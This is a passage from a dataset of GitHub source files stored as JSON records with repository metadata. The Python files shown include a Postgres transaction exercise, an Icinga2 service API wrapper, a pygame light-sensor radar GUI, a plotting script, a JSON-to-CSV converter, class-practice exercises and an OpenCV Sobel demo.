"name"}, {"api_name": "pathlib.Path", "line_number": 184, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 188, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 191, "usage_type": "name"}, {"api_name": "gooddata_sdk.utils.create_directory", "line_number": 194, "usage_type": "call"}, {"api_name": "gooddata_sdk.utils.create_directory", "line_number": 195, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 202, "usage_type": "name"}, {"api_name": "gooddata_sdk.utils.get_sorted_yaml_files", "line_number": 206, "usage_type": "call"}, {"api_name": "attr.s", "line_number": 174, "usage_type": "call"}]}
{"seq_id": "70195281510", "text": "import psycopg2 as bd\n\nconexion = bd.connect(user='postgres',password='admin',host='127.0.0.1',port='5432',database='test_db')\n\ntry:\n    with conexion:\n        with conexion.cursor() as cursor:\n            query = 'INSERT INTO persona(\"Nombre\", \"Apellido\", \"Email\") VALUES(%s, %s, %s)'\n            valores = (\"Nicola\", \"Tesla\", \"tesla@mail.com\")\n            cursor.execute(query, valores)\n            registrosInsertados = cursor.rowcount\n            print(f\"Registros Insertados: {registrosInsertados}\")\n\n            query = 'UPDATE persona SET \"Nombre\"= %s, \"Apellido\"= %s, \"Email\" = %s WHERE id_persona = %s'\n            valores = (\"Pancho\", \"Lopez\", \"Plopez@mail.com\", 1)\n            cursor.execute(query, valores)\n            registrosActualizados = cursor.rowcount\n            print(f\"Registros Actualizados: {registrosActualizados}\")\n\nexcept Exception as e:\n    print(f\"Ocurrió un error, se hizo rollback: {e}\") #El administrador de recursos, hace rollback por nosotros\nelse:\n    print(\"Termina la transacción, se hizo commit\") # El administrador de recursos with, hace el commit por nosotros\nfinally:\n    conexion.close()\n\n", "repo_name": "GrowingPol/LearningPython", "sub_path": "Practice1/BasesDeDatos/TransaccionesConWith.py", "file_name": "TransaccionesConWith.py", "file_ext": "py", "file_size_in_byte": 1133, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "psycopg2.connect", "line_number": 3, "usage_type": "call"}]}
{"seq_id": "70263282791", "text": "import logging\nfrom pprint import pformat\n\n\nclass Service():\n    \"\"\"\n    Class that contains all informations about Services and corresponding funtions\n    \"\"\"\n\n    SERVICE_STATUS = {\n        \"OK\": 0,\n        \"WARNING\": 1,\n        \"CRITICAL\": 2,\n        \"UNKNOWN\": 3\n    }\n\n    unhandled = []\n\n    def __init__(self, config=None, client=None):\n        \"\"\"\n        Initialize the Object with a given set of configurations.\n        \"\"\"\n        self.client = client\n        if config:\n            self.config = config\n\n        self.log = logging.getLogger('Icinga2API.service')\n\n        self.filter = 'service'\n\n    def add(self, servicename, hostname, data=None):\n        \"\"\"\n        Adding a Service with a given set of Attributes and/or Templates\n\n        :rtype: dict\n        :param hostname:\n        :param servicename:\n        :param data: Provides the needed variables to create a service.\n        Example:\n        data = {\n            \"templates\": [ \"generic-service\" ],\n            \"attrs\": {\n                \"check_command\": \"ping4\",\n                \"check_interval\": 10,\n                \"retry_interval\": 30\n            }\n        }\n        \"\"\"\n\n        def validate_data(data):\n            NEEDED_VALUES = (\"check_command\", \"check_interval\", \"retry_interval\")\n\n            for need in NEEDED_VALUES:\n                if not need in data['attrs']:\n                    raise ValueError(\"Error in Servicedata, expected {} but was not found\".format(need))\n\n        if not data:\n            raise ValueError(\"Data not set\")\n        else:\n            validate_data(data)\n\n        self.log.debug(\"Adding service with the following data: {}\".format(pformat(data)))\n        return self.client.put_Data(self.client.URLCHOICES[self.filter] + \"/\" + hostname + \"!\" + servicename, data)\n\n    def delete(self, hostname, servicename):\n        \"\"\"\n        Delte a Service based on the hostname and servicename\n\n        :param servicename: Servicename that is to be deleted\n        :param hostname: Hostname of the Host that is to be deleted\n        \"\"\"\n\n        self.log.debug(\"Deleting Service '{}' from Host '{}'\".format(servicename, hostname))\n        return self.client.delete_Data(self.client.URLCHOICES[self.filter] + \"/\" + hostname + \"!\" + servicename)\n\n    def list(self, hostname=None, servicename=None):\n        \"\"\"\n        Method to list all services or only those for a single host\n\n        :param hostname: can be used to only list one Host, if not set it will retrieve all Hosts\n        :param servicename: used to narrow down services\n        \"\"\"\n        attrs = [\"name\"]\n        joins = []\n        filters = None\n        filter_vars = {}\n\n        if hostname:\n            filters = \"host.name == hostname\"\n            filter_vars['hostname'] = hostname\n\n        if servicename:\n            if filters:\n                filters += \" && service.name == servicename\"\n            else:\n                filters = \"service.name == servicename\"\n            filter_vars['servicename'] = servicename\n\n        payload = {}\n        payload['attrs'] = attrs\n        if joins:\n            payload['joins'] = joins\n        else:\n            joins.append(\"host.name\")\n\n        if filters:\n            payload['filter'] = filters\n            payload['filter_vars'] = filter_vars\n\n        self.log.debug(\"Listing all Services that match: {}\".format(pformat(payload)))\n        ret = self.client.post_Data(self.client.URLCHOICES[self.filter], payload)\n\n        return_list = {}\n\n        #TODO: Changing the return to a dictionary with a list, identified by the hostname\n\n        for attrs in ret['results']:\n            return_list['host.name'] = attrs['name']\n\n        self.log.debug(\"Finished list of all matches: {}\".format(pformat(return_list)))\n        return return_list\n\n    def unhandled_list(self):\n        \"\"\"\n        Returns a list of all unhandled Services that is generated by the objects function\n        \"\"\"\n\n        return self.unhandled\n\n    def exists(self, servicename, hostname=None):\n        \"\"\"\n        Experimental\n        \"\"\"\n\n        if hostname:\n            ret = self.list(servicename=servicename, hostname=hostname)\n        else:\n            ret = self.list(servicename=servicename)\n\n        if ret:\n            return True\n        else:\n            return False\n\n    def objects(self, attrs=None, _filter=None, joins=None, process=True):\n        \"\"\"\n        returns host objects that fit the filter and joins\n\n        :attrs List: List of Attributes that are returned\n        :_filter List: List of filters to be applied\n        :joins List:\n        :process Boolean: Used to control if Objects are being parsed\n        \"\"\"\n\n        def unhandled(data):\n            unhandled_list = []\n\n            for attrs in data:\n                if attrs['attrs']['state'] != 0.0 and attrs['attrs']['acknowledgement'] == 0.0 and attrs['attrs']['downtime_depth'] == 0.0:\n                    unhandled_list.append(attrs['attrs']['__name'])\n            return unhandled_list\n\n        def handled(data, value):\n            handled_list = []\n\n            for attrs in data:\n                if attrs['attrs']['state'] == value and attrs['attrs']['acknowledgement'] != 0.0 and attrs['attrs']['downtime_depth'] != 0.0:\n                    handled_list.append(attrs['attrs']['__name'])\n            return handled_list\n\n        def count(data, value):\n            problems = 0\n\n            for attrs in data:\n                if attrs['attrs']['state'] == value:\n                    problems += 1\n\n            return problems\n\n        payload = {}\n\n        if attrs:\n            payload['attrs'] = attrs\n            self.log.debug(\"Attrs set to: {}\".format(pformat(payload['attrs'])))\n\n        if _filter:\n            payload['filter'] = _filter\n            self.log.debug(\"Filter set to: {}\".format(pformat(payload['filter'])))\n\n        if joins:\n            payload['joins'] = joins\n            self.log.debug(\"Joins set to: {}\".format(pformat(payload['joins'])))\n\n        self.log.debug(\"Payload: {}\".format(pformat(payload)))\n\n        result = self.client.post_Data(self.client.URLCHOICES[self.filter], payload)\n\n        self.log.debug(\"Result: {}\".format(result))\n\n        if process:\n            self.warning_handled = handled(result['results'], self.SERVICE_STATUS[\"WARNING\"])\n            self.critical_handled = handled(result['results'], self.SERVICE_STATUS[\"CRITICAL\"])\n            self.unknown_handled = handled(result['results'], self.SERVICE_STATUS[\"UNKNOWN\"])\n            self.unhandled = unhandled(result['results'])\n            self.ok = count(result['results'], self.SERVICE_STATUS['OK'])\n            self.warning = count(result['results'], self.SERVICE_STATUS['WARNING'])\n            self.critical = count(result['results'], self.SERVICE_STATUS['CRITICAL'])\n            self.unknown = count(result['results'], self.SERVICE_STATUS['UNKNOWN'])\n\n        return result['results']\n\n    def problem_count(self):\n        \"\"\"\n        Returns the ammount of services that are either CRITICAL, WARNING or UNKNOWN\n        \"\"\"\n        return self.warning + self.critical + self.unknown\n\n    def problem_handled_count(self):\n        \"\"\"\n        Returns the amount of services that are either CRITICAL, WARNING or UNKNOWN that are handled\n        \"\"\"\n        return (self.warning + self.critical + self.unknown) - len(self.unhandled)\n\n    def warning_count(self):\n        \"\"\"\n        Returns the ammount of services that are in state Warning\n        \"\"\"\n        return self.warning\n\n    def warning_handled_count(self):\n        \"\"\"\n        To be filled\n        \"\"\"\n        return len(self.warning_handled)\n\n    def critical_count(self, arg):\n        \"\"\"\n        Returns the ammount of services that are in state Warning\n        \"\"\"\n        return self.critical\n\n    def critical_handled_count(self):\n        \"\"\"\n        To be filled\n        \"\"\"\n\n        return len(self.critical_handled)\n\n    def unknown_count(self, arg):\n        \"\"\"\n        To be filled\n        \"\"\"\n        return self.unknown\n\n    def unknown_handled_count(self, arg):\n        \"\"\"\n        To be filled\n        \"\"\"\n        return len(self.unknown_handled)\n", "repo_name": "KevinHonka/Icinga2_Python_API", "sub_path": "icinga2/lib/service.py", "file_name": "service.py", "file_ext": "py", "file_size_in_byte": 8121, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 27, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 62, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 110, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 120, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 184, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 188, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 192, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 194, "usage_type": "call"}]}
{"seq_id": "71942245990", "text": "import pygame\r\nimport math\r\nimport sys\r\nimport serial as ser\r\nimport time\r\nimport numpy as np\r\n\r\nfrom utilities import receive_bytes,max_difference_between_columns\r\nfrom button import Button \r\n\r\n\r\nWINDOW_WIDTH, WINDOW_HEIGHT = 1280, 600\r\n\r\n#define coloures \r\nWHITE = (255,255,255)\r\nBLACK = (0,0,0)\r\nRED = (255, 0, 0)\r\nGRAY69 = (176,176,176)\r\nBG_COLOER = (52, 78, 91)\r\nBLUE = (0,0,255)\r\nYELLOW = (255,255,0)\r\n\r\nradar_circle_center_x = WINDOW_WIDTH/2\r\nradar_circle_center_y = 550\r\nradar_sweep_length = 500\r\n\r\ndef get_font(size): # Returns Press-Start-2P in the desired size\r\n    return pygame.font.SysFont(\"arialblack\", size)\r\n\r\ndef circle(window):\r\n    pygame.draw.circle(window,(1,84,10),[400,400],400)\r\ndef move_line(window):\r\n    pygame.draw.line(window,WHITE,[400,400],[116,116])\r\n\r\ndef draw_radar_sweep(window): \r\n    \r\n    global radar_sweep_angle\r\n    x = radar_circle_center_x + radar_sweep_length *math.sin(math.radians(90 + radar_sweep_angle))\r\n    y = radar_circle_center_y + radar_sweep_length *math.cos(math.radians(90 + radar_sweep_angle))\r\n    pygame.draw.line(window, RED, (radar_circle_center_x,radar_circle_center_y), (x, y), 3)\r\n    \r\n\r\ndef creat_point(dist,angle):\r\n    x = radar_circle_center_x + (dist*3) *math.sin(math.radians(90 + angle))\r\n    y = radar_circle_center_y + (dist*3) *math.cos(math.radians(90 + angle))\r\n    return x,y\r\n\r\ndef update():\r\n   # Increment the angle in each frame\r\n   global radar_sweep_angle\r\n   radar_sweep_angle += 1\r\ndef draw_pointes(window,scaned_points,dist_points):\r\n     dist_font = get_font(10)\r\n     for i in range(len(scaned_points)-1):\r\n        pygame.draw.circle(window,YELLOW,scaned_points[i],3,2)\r\n        #dist_text = dist_font.render(str(dist_points[i]), False, BLACK)\r\n        if i%2:\r\n            dist_text = dist_font.render(str(dist_points[i]), False, BLACK)\r\n        else:\r\n            dist_text = dist_font.render(str(dist_points[i]), False, WHITE)\r\n        window.blit(dist_text, scaned_points[i])\r\n\r\ndef LDR_scan(window,s,state):\r\n    loaded_array = []\r\n    try:\r\n        # Load the 2D array from the file\r\n        with open('array_data.txt', 'r') as f:\r\n            for line in f:\r\n                row = [int(elem) for elem in line.strip().split()]\r\n                loaded_array.append(row)\r\n            print(\"Array Loaded!\")\r\n    except:\r\n        print(\"No defulte values for light detector array\")\r\n\r\n    # Find the maximum difference between columns\r\n    max_difference = max_difference_between_columns(loaded_array)\r\n\r\n    # Sample 2x10 matrix representing LDR readings for distances 5 cm to 50 cm in jumps of 5 cm\r\n    original_matrix = np.array(loaded_array)\r\n\r\n    # Create a new array representing distances from 0 cm to 50 cm with 1 cm increment\r\n    new_distances = np.arange(0, 51, 1)\r\n\r\n    # Create a new 2x51 matrix using linear interpolation\r\n    new_matrix = np.zeros((2, 51))\r\n    for i in range(2):\r\n        new_matrix[i] = np.interp(new_distances, np.arange(5, 51, 5), original_matrix[i])\r\n    # fix last culms of matrix\r\n    for i in range(2):\r\n        new_matrix[i][0:4] = original_matrix[i][0] - (\r\n                    original_matrix[i][1] - original_matrix[i][0]) / 5 * np.arange(4, 0, -1)   \r\n    print(\"Old mat: \")\r\n    print(loaded_array)\r\n    print(\"New Matrix:\")\r\n    print(new_matrix)\r\n    print(\"max difference = \", max_difference)\r\n    \r\n    \r\n    radar_clock = pygame.time.Clock()\r\n    pygame.display.set_caption(\"LDR Scan\")\r\n    max_angle = 180\r\n    if state == 2:\r\n        inChar = '2'        \r\n        time.sleep(0.25) \r\n        while s.in_waiting > 0 :\r\n            lox = s.read_until(expected='\\n')\r\n        time.sleep(0.25)     \r\n        bytesChar = bytes(inChar, 'ascii')\r\n        s.write(bytesChar)\r\n    else: #state is 6 \r\n        max_angle = int.from_bytes(s.read(2), \"little\")\r\n    \r\n    \r\n    start_radar = True\r\n    global radar_sweep_angle \r\n    radar_sweep_angle =0\r\n    \r\n    scaned_points = []\r\n    dist_points = []\r\n    first = True\r\n    while start_radar:\r\n        BACK_BUTTON = Button(image=None, pos=(80, 30), \r\n                            text_input=\"back\", font=get_font(60), base_color=BLACK, hovering_color=\"White\")\r\n        #radar_BG(window)\r\n        bg = pygame.image.load(\"assets/radar_screenshot.png\")\r\n\r\n        #INSIDE OF THE GAME LOOP\r\n        window.blit(bg, (0, 0))\r\n        RADAR_MOUSE_POS= pygame.mouse.get_pos()\r\n        # Update Display\r\n        \r\n        for button in [BACK_BUTTON]:\r\n            button.changeColor(RADAR_MOUSE_POS)\r\n            button.update(window)\r\n\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                pygame.quit()\r\n                sys.exit()\r\n            if event.type == pygame.MOUSEBUTTONDOWN:\r\n                if BACK_BUTTON.checkForInput(RADAR_MOUSE_POS):\r\n                    return\r\n                scaned_points.append(RADAR_MOUSE_POS)\r\n                update()\r\n                \r\n            if event.type == pygame.KEYDOWN:\r\n                if event.key == pygame.K_RETURN:    \r\n                    update()\r\n        if(radar_sweep_angle < 180):        \r\n            angle_in = receive_bytes(s,2)\r\n            angle = int.from_bytes(angle_in,\"little\")\r\n            bytes_in = receive_bytes(s, 2)\r\n            a = int.from_bytes(bytes_in, \"little\")\r\n            b = receive_bytes(s, 2)\r\n            b = int.from_bytes(b, \"little\")\r\n            # Print the received integer\r\n            print(\"Angle is: \", angle)\r\n            # Print the received integer\r\n            print(\"a is: \", a)\r\n            print(\"b is: \", b)\r\n        if(angle<= 180 and angle >=0 ):\r\n            if (abs(a - b) <= max_difference and a < loaded_array[0][9] and b < loaded_array[1][9]):\r\n                idx_a = (np.abs(new_matrix[0] - a)).argmin()\r\n                idx_b = (np.abs(new_matrix[1] - b)).argmin()\r\n                if (abs(idx_a - idx_b) <= 1):\r\n                    # Calculate the mean between the two values and convert to integer\r\n                    mean_value = int(np.mean([idx_a, idx_a]))\r\n                    print(mean_value)\r\n                    (x,y) = creat_point(mean_value,angle)\r\n                    scaned_points.append((x,y))\r\n                    dist_points.append(mean_value)\r\n                else:\r\n                    print(\"difference to big\")\r\n            else:\r\n                print(\"no dist\")\r\n            \r\n            \r\n        radar_sweep_angle = angle\r\n        draw_radar_sweep(window)\r\n        draw_pointes(window,scaned_points,dist_points)\r\n        pygame.display.update()\r\n        #if first:\r\n        #    pygame.image.save(window, \"radar_screenshot.png\")\r\n        \r\n        #radar_clock.tick(30)\r\n        if angle == max_angle -(max_angle-angle)%3 and state == 6:\r\n             return", "repo_name": "SignalDecomposition/DCSFinalProject", "sub_path": "PC_side/LDR_GUI.py", "file_name": "LDR_GUI.py", "file_ext": "py", "file_size_in_byte": 6734, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pygame.font.SysFont", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 33, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 33, "usage_type": "attribute"}, {"api_name": "math.sin", "line_number": 38, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 38, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 39, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.draw.line", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 40, "usage_type": "attribute"}, {"api_name": "math.sin", "line_number": 44, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 44, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 45, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 45, "usage_type": "call"}, {"api_name": "pygame.draw.circle", "line_number": 55, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 55, "usage_type": "attribute"}, {"api_name": "utilities.max_difference_between_columns", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.interp", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 91, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 99, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 99, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 100, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 100, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 104, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 107, "usage_type": "call"}, {"api_name": "button.Button", "line_number": 122, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 125, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 125, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 129, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 129, "usage_type": "attribute"}, {"api_name": "button.changeColor", "line_number": 133, "usage_type": "call"}, {"api_name": "button.update", "line_number": 134, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 136, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 136, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 137, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 138, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 139, "usage_type": "call"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 140, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 146, "usage_type": "attribute"}, {"api_name": "pygame.K_RETURN", "line_number": 147, "usage_type": "attribute"}, {"api_name": "utilities.receive_bytes", "line_number": 150, "usage_type": "call"}, {"api_name": "utilities.receive_bytes", "line_number": 152, "usage_type": "call"}, {"api_name": "utilities.receive_bytes", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 167, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 181, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 181, "usage_type": "attribute"}]}
{"seq_id": "74927187749", "text": "import numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib import ticker\n\n\nplt.ylim(0, 20)\nplt.xlim(0, 365)\n\ndata1 = np.random.random([6,50])\ncolors1 = ['C{}'.format(i) for i in range(6)]\n\nlineoffsets1 = [-15, -3, 1, 1.5, 6, 10]\nlinelengths1 = [5, 2, 1, 1, 3, 1.5]\n\nfig, axs = plt.subplots()\n\naxs.eventplot(data1, colors=colors1, lineoffsets=lineoffsets1,\n                    linelengths=linelengths1)\n\nplt.show()", "repo_name": "Hoperin/Book-Report", "sub_path": "plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 446, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.pyplot.ylim", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 8, "usage_type": "name"}, {"api_name": "numpy.random.random", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 10, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}]}
{"seq_id": "2713057977", "text": "\nimport json\n\nclass SatData:\n\tdef __init__(self, filename='sat.json'):    #input file\n\t\twith open(filename) as f:  \t\t\t\t#open file and save as dictionary\n\t\t\tself.data = json.load(f)   \t\t\t #open JSON file\n\t\tself.header = [h['name'] for h in self.data['meta']['view']['columns']][8:]\n\t\tself.data = self.data['data']    \t\t#list of lists stored in data\n\tdef save_as_csv(self, dbns, filename='output.csv'):\n\t\tdata_to_write = []\n\t\tfor item in self.data:\n\t\t\tif (item[8] in dbns):\n\t\t\t\tdata_to_write.append(item[8:])   \t#stores entire line\n\t\twith open(filename, 'w') as f:\n\t\t\tf.write(','.join(h for h in self.header) + '\\n')  #write header\n\t\t\tfor item in data_to_write:\n\t\t\t\tf.write(','.join(str(i) for i in item)+'\\n')\n\n\nsd = SatData()\ndbns = [\"02M303\", \"02M294\", \"01M450\", \"02M418\"]\nsd.save_as_csv(dbns)", "repo_name": "ankitsumitg/random-python-programs", "sub_path": "saving_data_to_csv.py", "file_name": "saving_data_to_csv.py", "file_ext": "py", "file_size_in_byte": 794, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 7, "usage_type": "call"}]}
{"seq_id": "70050479909", "text": "import datetime\n\n\nclass Restaurant:\n    def __init__(self, restaurant_name, cuisine_type):\n        self.restaurant_name = restaurant_name\n        self.cuisine_type = cuisine_type\n        self.number_served = 0\n\n    def describe_restaurant(self):\n        print('------------------------------------------------')\n        print(f'Restaurant name: {self.restaurant_name}')\n        print(f'Cuisine type: {self.cuisine_type}')\n        print(f'Clients served: {self.number_served}')\n        print('------------------------------------------------')\n        print()\n\n    def open_restaurant(self):\n        print('------------------ NOW OPEN --------------------')\n        print(f'{self.restaurant_name:^48s}')\n        print('------------------------------------------------')\n        print()\n\n    def set_number_served(self, value):\n        self.number_served = value\n\n    def increment_number_served(self, increment):\n        self.number_served += increment\n\n\ndef task01():\n    print(\"=========================\\nTask 1\\n-------------------------\")\n    restaurant = Restaurant('Colombian Express', 'Typical colombian food')\n    restaurant.describe_restaurant()\n    restaurant.open_restaurant()\n\n\ndef task02():\n    print(\"=========================\\nTask 2\\n-------------------------\")\n    restaurants = [\n        Restaurant('Colombian Express', 'Typical colombian food'),\n        Restaurant('Sushi bar', 'Japanese food'),\n        Restaurant('Canadian Hub', 'Poutine and Canadian food'),\n    ]\n    for restaurant in restaurants:\n        restaurant.describe_restaurant()\n        restaurant.open_restaurant()\n\n\nclass User:\n    instance_count = 0\n\n    def __init__(self, user_id, first_name, last_name):\n        self.user_id = user_id\n        self.first_name = first_name\n        self.last_name = last_name\n        self.created_on = datetime.date(2019, 11, 15)\n        self.last_login_date = datetime.date(2020, 10, 28)\n        self.active = True\n        self.login_attempts = 0\n        User.instance_count += 1\n\n    def summary(self):\n        print(f'User id: {self.user_id}')\n        print(f'First Name: {self.first_name}')\n        print(f'Last Name: {self.last_name}')\n        print(f'Last login: {self.last_login_date}')\n        print(f'Login attempts: {self.login_attempts}')\n        print(f'Status: {\"Active\" if self.active else \"Inactive\"}')\n        print(f'Created on: {self.created_on.isoformat()}')\n        print('------------------------------------------------')\n\n    def greet(self):\n        time_from_last_login = datetime.date.today() - self.last_login_date\n        print(f'Welcome back {self.first_name} {self.last_name}')\n        print(f'Has been {time_from_last_login.days} days since your last login.')\n        print('------------------------------------------------')\n\n    def increment_login_attempts(self):\n        self.login_attempts += 1\n\n    def reset_login_attempts(self):\n        self.login_attempts = 0\n\n\ndef task03():\n    print(\"=========================\\nTask 3\\n-------------------------\")\n    users = [\n        User('diegoortizmatajira', 'Diego', 'Ortiz'),\n        User('mr_robot', 'Elliot', 'Alderson'),\n        User('neo', 'Thomas', 'Anderson'),\n    ]\n    for user in users:\n        print('\\n************************************************')\n        user.summary()\n        user.greet()\n\n\nclass Car:\n    def __init__(self, make, model, year):\n        \"\"\"Initialize attributes to describe a car.\"\"\"\n        self.make = make\n        self.model = model\n        self.year = year\n        self.odometer_reading = 0\n\n    def get_descriptive_name(self):\n        \"\"\"Return a neatly formatted descriptive name.\"\"\"\n        long_name = f\"{self.year} {self.make} {self.model}\"\n        return long_name.title()  # titleCased value\n\n    def read_odometer(self):\n        \"\"\"Print a statement showing the car's mileage.\"\"\"\n        print(f\"This car has {self.odometer_reading} miles on it. \")\n\n    def drive_distance(self, distance):\n        self.odometer_reading += distance\n\n\ndef task_odometer():\n    print(\"=========================\\nTask Odometer\\n-------------------------\")\n    my_new_car = Car('audi', 'a4', 2019)\n    print(my_new_car.get_descriptive_name())\n    my_new_car.read_odometer()\n    my_new_car.drive_distance(50)\n    my_new_car.read_odometer()\n    my_new_car.drive_distance(140)\n    my_new_car.read_odometer()\n\n\ndef task04():\n    print(\"=========================\\nTask 4\\n-------------------------\")\n    restaurant = Restaurant('Colombian Express', 'Typical colombian food')\n    restaurant.describe_restaurant()\n    print('Set number served = 150')\n    restaurant.set_number_served(150)\n    restaurant.describe_restaurant()\n    print('Increment number served by 10')\n    restaurant.increment_number_served(10)\n    restaurant.describe_restaurant()\n\n\ndef task05():\n    print(\"=========================\\nTask 5\\n-------------------------\")\n    user = User('diegoortizmatajira', 'Diego', 'Ortiz')\n    user.summary()\n    print('Perform one login attempt\\n')\n    user.increment_login_attempts()\n    user.summary()\n    print('Perform one login attempt\\n')\n    user.increment_login_attempts()\n    user.summary()\n    print('Perform reset to login attempts counter\\n')\n    user.reset_login_attempts()\n    user.summary()\n\n\ndef task06():\n    print(\"=========================\\nTask 6\\n-------------------------\")\n    users = [\n        User('diegoortizmatajira', 'Diego', 'Ortiz'),\n        User('mr_robot', 'Elliot', 'Alderson'),\n        User('neo', 'Thomas', 'Anderson'),\n    ]\n    print(f'Number of instances: {users[0].instance_count}')\n\n\ntask01()\ntask02()\ntask03()\ntask_odometer()\ntask04()\ntask05()\ntask06()", "repo_name": "diegoortizmatajira/python-learning", "sub_path": "classes/20210728/Lesson_10-Practice.py", "file_name": "Lesson_10-Practice.py", "file_ext": "py", "file_size_in_byte": 5619, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.date", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 74, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 74, "usage_type": "attribute"}]}
{"seq_id": "23872118975", "text": "# -*- coding:utf-8 -*-\n# Author : MMagicLoren\n# @Email : 993983320@qq.com\n# @Time : 2019/10/13 15:59\n# @File : 图像梯度计算.py\n# @Project : Workspace\nimport cv2 as cv\nimport os\nimport sys\npath = os.path.abspath(os.path.dirname(sys.argv[0]))\n\n \ndef sobel_demo(image):\n    grad_x = cv.Sobel(src, cv.CV_64F, 1, 0, ksize=3)\n    gradx = cv.convertScaleAbs(grad_x)\n    grad_y = cv.Sobel(src, cv.CV_64F, 0, 1, ksize=3)\n    grady = cv.convertScaleAbs(grad_y)\n    gradxy = cv.addWeighted(gradx, 0.5, grady, 0.5, 0)\n    cv.imshow(\"grad_x\", grad_x)  # 将src图片放入该创建的窗口中\n    cv.imshow(\"grad_y\", grad_y)  # 将src图片放入该创建的窗口中\n    cv.imshow(\"gradxy\", gradxy)  # 将src图片放入该创建的窗口中\n \n \nif __name__ == '__main__':\n    src = cv.imread(path + '\\\\1.jpg')  # 读入图片放进src中\n    cv.namedWindow(\"input image\", cv.WINDOW_AUTOSIZE)  # 创建窗口, 窗口尺寸自动调整\n    cv.imshow(\"input image\", src)\n    sobel_demo(src)\n \n    cv.waitKey(0)  # 等有键输入或者1000ms后自动将窗口消除，0表示只用键输入结束窗口\n    cv.destroyAllWindows()\n", "repo_name": "orange-eng/Image_enhancement", "sub_path": "tools/Gredient/Gredient_example.py", "file_name": "Gredient_example.py", "file_ext": "py", "file_size_in_byte": 1123, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.abspath", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": 